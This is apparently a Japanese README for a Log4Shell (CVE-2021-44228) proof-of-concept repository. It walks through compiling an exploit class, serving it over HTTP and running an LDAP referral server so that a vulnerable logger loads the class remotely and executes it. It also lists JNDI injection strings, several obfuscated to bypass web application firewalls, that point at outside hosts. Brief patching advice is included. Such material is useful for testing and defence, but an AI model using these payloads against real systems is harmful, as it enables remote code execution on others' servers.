
CVE-2021-44228(Log4Shell)の概念実証エクスプロイト。JNDI LDAP/RMIインジェクション、ペイロードのコンパイル、およびLog4j RCE脆弱性のテスト用WAFバイパス技術を備えています。
1.x のバージョンには他の脆弱性があります。最新バージョンに更新することをお勧めします。
Log4Shell(CVE-2021-44228)に関連するセキュリティアドバイザリ / 速報
このプロジェクトをダウンロードし、エクスプロイトコード blob/master/src/main/java/Exploit.java をコンパイルして、コンパイルされたバイナリをダウンロードできる Web サーバーを起動します。
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce
javac Exploit.java
# start webserver
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888
# make sure python webserver is running the same directory as Exploit.class, to test
curl -I 127.0.0.1:8888/Exploit.class
別のプロジェクトをダウンロードして、*JNDI参照を返すLDAPサーバー実装**を実行します https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
実行コード(脆弱な Java Web サーバーに対する log4j 攻撃をシミュレートする)をビルドして実行すると、電卓アプリが表示されます blob/master/src/main/java/log4j.java。
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j
# expect the following
# 1. calculator app appear
# 2. in ldapserver console,
# Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. in webserver console,
# 127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -
ヒント:
現在の Java バージョンが助けてくれることを当てにしないでください。Log4(または JNDI ルックアップの削除)を更新してください。展開を無効にしてください(そもそもかなり悪い考えのように思えますが)。
例:
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
Web アプリケーションファイアウォールを信頼しないでください。
Lookups は、Log4j 設定内の任意の場所に値を追加する方法を提供します。
finally 内でリークを引き起こすメソッド
LogManager.getLogger().error()
LogManager.getLogger().fatal()
ブラックボックステストを行いたい場合は、パッシブスキャンを実行することをお勧めします。
楽しんでください!!!
